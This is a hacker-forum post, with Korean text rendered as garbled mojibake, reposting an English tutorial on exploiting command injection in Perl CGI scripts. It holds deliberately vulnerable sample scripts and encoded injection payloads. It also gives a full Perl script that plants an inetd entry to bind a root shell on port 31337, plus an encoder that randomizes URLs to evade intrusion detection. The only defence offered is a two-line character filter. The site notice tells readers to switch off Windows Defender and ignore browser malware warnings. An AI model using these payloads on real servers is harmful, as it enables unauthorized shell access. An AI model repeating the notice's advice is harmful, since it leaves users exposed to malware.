ÇØÄ¿Áî´º½º / ÇØÄ¿´ëÇÐ

Donation bitcoin(±âºÎ¿ë ºñÆ®ÄÚÀÎ ÁÖ¼Ò)

¡¡
1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4
¡¡
±âºÎÇϽŠºñÆ®ÄÚÀÎÀº "º¸¾È Ãë¾à °èÃþ"À» À§ÇØ »ç¿ëµÇ°í ÀÖ½À´Ï´Ù.
¡¡
¡¡

Donation bitcoin(±âºÎ¿ë ºñÆ®ÄÚÀÎ ÁÖ¼Ò)

¡¡
1Pq3K39XM5xx4CifGKgppXeavtWNNHH7K4
¡¡
±âºÎÇϽŠºñÆ®ÄÚÀÎÀº "º¸¾È Ãë¾à °èÃþ"À» À§ÇØ »ç¿ëµÇ°í ÀÖ½À´Ï´Ù.
¡¡

°øÁö

¡¡

1. MS ¿§Áö ºê¶ó¿ìÀú¿¡¼­ÀÇ °æ°íâÀº 'À©µµ¿ì µðÆæ´õ'¸¦ ²ô½Ã¸é µË´Ï´Ù.

             'À©µµ¿ì µðÆæ´õ ²ô±â'

2. Å©·Ò ºê¶ó¿ìÀú·Î Á¢¼Ó½Ã ³ª¿À´Â ¾Ç¼ºÄÚµå °æ°íâÀº ±¸±Û Å©·ÒÀÇ ¿¡·¯, Áï ¿ÀŽ(ŽÁö ¿À·ù)À̹ǷΠ¹«½ÃÇÏ½Ã¸é µË´Ï´Ù.

3. ÀÌ »çÀÌÆ®´Â ¾ÈÀüÇÏ¸ç ±ú²ýÇÏ´Ù´Â °ÍÀ» ¾Ë·Á µå¸³´Ï´Ù.

4. ¹«°íÇÑ »çÀÌÆ®µé¿¡ ´ëÇÑ °ø·æ ±â¾÷ ºê¶ó¿ìÀúµéÀÇ ¹«Â÷º°ÀûÀÎ 'ŽÁö ¿À·ù ȾÆ÷'°¡ »ç¿ëÀÚµéÀÇ Á¤º¸ °øÀ¯ÀÇ ÀÚÀ¯¸¦ ħÇØÇÏ°í ÀÖ½À´Ï´Ù. ÀÌ¿¡ ´ëÀÀÇÏ¿© ÀÌ ±â¾÷µéÀ» »ó´ë·Î ¼Ò¼ÛÀ» ÁغñÇÏ°í ÀÖ½À´Ï´Ù.

¡¡


¡Ý No, 12
¡Ý ÀÛ¼ºÀÎ: ÀÌÁø¿µ
¡Ý Á¶È¸: 3535
¡Ý Æò°¡:
À¥ÇØÅ·(cgi) ¹®¼­ÀÔ´Ï´Ù.  
cgi ÇØÅ·¿¡ ´ëÇÑ °³³äÀ» Àß ¼³¸íÇØÁÖ°í ÀÖ½À´Ï´Ù.

Table of Contents

I.            Introduction
II.            Explanation of vulnerabilities in Perl based CGI scripts
III.            Exploiting the Vulnerabilities in CGI scripts
IV.             Spawning a Shell - Example Code
V.             Conclusion
VI.             Contact Info
VII.             Appendix A - Pex.pl


I.  Introduction

I was searching around packetstorm today for a good guide to writing CGI exploits,
and was quite surprised to find none.  CGI vulnerabilities are definitely the most common
(not to mention most script kiddy-esque) holes out there.  I've been told that others have
written excellent papers on this subject, but since I've been unable to find any of these I
figured I'd just write my own.  

More often than not, CGI security holes are simply overlooked.  The fact of the matter is
that unlike holes in various other services, you cannot simply cut off access to a port
to fix CGI security issues.  Port 80 must remain open (unless you want to disable your web
server altogether), and as such, no firewall (either software or hardware) will be able to
prevent attacks on insecure CGI.  

Though CGI can be coded in any language, it is most often coded in perl.  The following
paper assumes that the reader has a basic knowledge of the HTTP protocol as well the perl
programming language.  I will attempt to focus on the potential security holes present in
many perl CGI scripts, as well as explaining why they are present, and how to fix them.  

II.  Explanation of vulnerabilities in Perl based CGI scripts

Most of the time, vulnerabilities in perl based CGI scripts stem from the programmer
failing to parse input to the open() function, or failing to parse input when executing
shell commands.  You're probably thinking: "but bansh33, isn't the open function for opening
files? Why would this be a security hole?".  This is correct, however, when a pipe is passed
to the open function, it can also be used to execute commands.  For example:

#!/usr/bin/perl
open(myfile, "myfile.txt");
@myfile = <myfile>;
foreach $line (@myfile) { print "$line"; }
close(myfile);

This snippet of code will use the open() function to display the contents of myfile.txt.  
But look at what happens when we modify the line: open(myfile, "myfile.txt"); to read
open(myfile, "ls -l|");.  

[rishi@ph34r rishi]$ perl test.pl
total 12
drwx------    2 rishi    rishi       4096 Jan 25 15:28 elite_oh_day/
drwx------    2 rishi    rishi       4096 Jan 25 15:28 security_files/
-rw-------    1 rishi    rishi        118 Jan 25 15:29 test.pl
[rishi@ph34r rishi]$

Clearly, adding a pipe to the end of our string allows us to execute commands with the open()
function.  Well, since we know that many perl programmers use open() in their CGI scripts to write
data to or open files, it would be pretty easy to execute arbitrary commands, and even spawn a shell on a box
running an insecure CGI script.  If our objective is to obtain a shell, it is also important to consider
the two other ways in perl to execute commands.  

The first of these is the system() function which automatically displays the output of commands.
Example: system("ls"); will display the output of ls - a directory listing.  Next, we can execute
commands in the following manner:

@array = `ls`;

This will put the output of ls into @array, and can be outputted in the way shown with the first
code snippet.  

III.  Exploiting the Vulnerabilities in CGI scripts

Now that we (hopefully) have a good understanding of the most common vulnerabilities present
in perl based CGI scripts, we can begin to work on exploiting them to our advantage.  Let's
look at a sample vulnerable program I quickly whipped up.  

#!/usr/bin/perl
# Simple CGI script to let web users run an nmap scan from their web browser
$server = $ENV{'QUERY_STRING'}; # using a GET request
@scan = `nmap $server`;
foreach $line (@scan) { print "$line"; }

Clearly, the 4th line - @scan = `nmap $server`; is the line of insecure code.  Since $server is controlled
by our GET request, we can obviously make the server do whatever we want.  If you know a bit about UNIX,
you'll know that you can execute multiple commands on a single line by separating them with a semicolon (;).  
For example:

[rishi@ph34r rishi]$ echo hi;echo word
hi
word
[rishi@ph34r rishi]$

As such, the string to pass to the script would be something like: www.yahoo.com;ls.  Before we can actually
pass this string to the script, however, we must encode it to its hex equivalent.  The easiest way to do this
is to use a script called pex.pl written by bighawk and inv (the code for this is at the end of this document).  
Additionally, pex will "randomize" the url encoding everytime in order to help bypass IDS (intrusion detection
systems).  Putting "www.yahoo.com;ls" into pex gives us:

[rishi@ph34r rishi]$ perl pex.pl "www.yahoo.com;ls"
GET w%77w.ya%68%6Fo.com%3B%6Cs HTTP/1.0
[rishi@ph34r rishi]$

As such, to execute our command of "ls" on our target, we could point our web browser to
http://the-server.com/cgi-bin/nmap.cgi?w%77w.ya%68%6Fo.com%3B%6Cs
and we would receive the output of the ls command.  

If you're confused by all this hex stuff, it should suffice to say that putting our string in hex is simply
another way to write the same string - it's just required that certain characters like the semicolon be in hex
for submitting data to CGI scripts.  

Next, let's look at another example CGI script using the open() function.  Here's a quick script I wrote
to emulate the capabilities of SSI (server side includes).  Basically, if you give this script the name of a file
it'll display the contents.  

#!/usr/bin/perl
$file = $ENV{'QUERY_STRING'};
open(myfile, "$file");
@myfile = <myfile>;
foreach $line (@myfile) { print "$line"; }
close(myfile);

In this case we want $file to be "our command|".  Again, we can simply use pex to encode our command(s), and then
use a GET request to have the server execute them.  Though I have only focused on GET requests, a POST request to
a vulnerable CGI script is much the same - just encode your commands, and put your string in the text box or whatever
is being read from to post to the CGI script.  Obtaining a shell as the web user (usually the user "nobody")
is basically just a series of commands to bind a shell to a specific port.  The next section
will show you an example of a generic perl script to bind a shell on a vulnerable CGI script.  

IV. Spawning a Shell - Example Code

---------------cut here-------------------
#!/usr/bin/perl
# spawns a shell on port 31337
use IO::Socket;
if (@ARGV < 1) { print "usage: perl spawn.pl [host]\n"; exit; }
$host = $ARGV[0];
$shell = IO::Socket::INET->new( PeerAddr=>"$host",
                                                PeerPort=>"80",
                                                Proto=>"tcp") || die "Connection failed.\n";
print $shell "GET
/cgi-bin/some-vulnerable-cgi.pl?/bin/echo%20\"31337%20stream%20tcp%20nowait%20root%20/bin/sh%20-i\"%20>>%20/tmp/inet|
HTTP/1.0\n\n";
# Connection closes after this, so we have to re-open it.
$shell = IO::Socket::INET->new( PeerAddr=>"$host",
                                                PeerPort=>"80",
                                                Proto=>"tcp") || die "Connection failed.\n";
print $shell "GET /cgi-bin/some-vulnerable-cgi.pl?/usr/sbin/inetd%20/tmp/inet| HTTP/1.0\n\n";
sleep 1;
print "trying to connect to $host on port 31337...";
system("telnet $host 31337");
---------------end code----------------------

Hopefully you'll be able to learn from and modify it to suit your needs.  

V. Conclusion

So what can a programmer do to prevent such buggy CGI code? The basic solution is to remove all potentially
dangerous characters such as semicolons and pipes (; and |).  The following code is a simple way to do this.

$variable =~ s/\|/ /g;
$variable =~ s/\;/ /g;

That will replace all ;'s and |'s in $variable with spaces.  Hopefully the evil hax0r's attempt to execute
arbitrary code will be foiled ;).  

Well.. that's my story and I'm sticking to it.  Hope you found the paper helpful.

Peace and love,

-rishi/bansh33

Note: the information contained herein is meant to educate and inform the reader about how to discover
and fix security holes.  I do not in any way condone using the information above to gain any sort
of unauthorized access.  

VI. Contact Info

If you wanna contact me for any reason here's how:

Web: www.r00tabega.org and www.securityapex.com
AIM: xbansh33
Email: rishi@scenewhores.com
IRC: irc.r00tabega.org

VII. Appendix A - Pex.pl

#!/usr/bin/perl
# bighawk text-2-hex converter..
my $text = $ARGV[0];
@text = split(//, $text), "\0";
$c=0;
$q=1;
sub convert {
@stuff = @_ ;
for $stuff (@stuff) {
$i++;
split(/ */, $stuff);
       for $letter (@_){

               $first = int(ord($letter) / 16);
               $second = ord($letter) - ($first * 16);
               $f = digit_to_letter($first);
               $s = digit_to_letter($second);
               print "%$f$s";
               $q++;
               if($q >= 10){ print "\n"; $q = 1;}
       }
       if( $i < @stuff){


       print "0x20 ";
       $q++;
       if($q >= 10){ print "\n"; $q = 1}
       }

  }
}

print "\n";

sub digit_to_letter {
       $x = 0;
       if($_[0] <= 9) {
               $x = "$_[0]";
       }elsif($_[0] == 10) {
               $x = 'A';
       }elsif($_[0] == 11) {
               $x = 'B';
       }elsif($_[0] == 12) {
               $x = 'C';
       }elsif($_[0] == 13) {
               $x = 'D';
       }elsif($_[0] == 14) {
               $x = 'E';
       }elsif($_[0] == 15) {
               $x = 'F';
       }

       return $x;
}

sub rand_encode {

while($c < $#text+1 ) {

       $x = rand(10);
       if ($text[$c] eq "/") {
               print  $text[$c];
       }
       elsif($text[$c] eq ".") {
               print  $text[$c];
       }
       elsif ($x > 5) {  
               convert($text[$c]);
       }
       else {
               print  $text[$c];
       }
       $c++;
  }
}


print "GET ";
rand_encode();
print " HTTP/1.0\n";

# u'll change this to somethign like @array = "GET ", rand_encode(). "HTTP/1.0\n\n";
# wait maybe you wont have to just do a print $server, or whatever


  À̸§   ¸ÞÀÏ   °ü¸®ÀÚ±ÇÇÑÀÓ
  ³»¿ë ÀÔ·Ââ Å©°Ô
                    ´äº¯/°ü·Ã ¾²±â ¼öÁ¤/»èÁ¦     ÀÌÀü±Û ´ÙÀ½±Û    
      °ü¸®ÀÚ±ÇÇÑÀÓ
°Ô½Ã¹øÈ£À帣°Ô½ÃÁ¦¸ñÀÛ¼ºÀÎÀÛ¼ºÀÏ
14     ¸á¸®»ç´©Å© ·¯ºêÇåÅÍ 09-20
13        Re..Çã°Ï Àú´Â ¿Ö µÇ´ÂÁö¿ä.. ÀÓ¹®¿µ 09-20
12     À¥ÇØÅ·(cgi) ¹®¼­ÀÔ´Ï´Ù. ÀÌÁø¿µ 09-20
11     ÀÌÇý¿µ ´©µå»çÁø ÇØÅ·´çÇÑ°÷ ½Å°íÇÔ À̼º¼ö 09-19
10     ÇØÅ· ½Å°íÇÒ·Á±¸ Çϴµ¥¿ä? ±è½Â¹Î 09/18-19:29
9        Re..ÇØÄ¿´ëÇÐÀº?? °­¹ÎÁ¤ 08/09-07:18
8     ´Ô¾Æ ¸ÞÀÏ·Î Çñ׷¥º¸³Â¾î¿° Çå¸ÞÀÏ 08/02-01:56
7     ÇѸá ÇØÅ· V.7.09 <--¿ä°Å¿¡¿© Çå¸ÞÀÏ 08/02-01:51

 
óÀ½ ÀÌÀü ´ÙÀ½       ¸ñ·Ï ¾²±â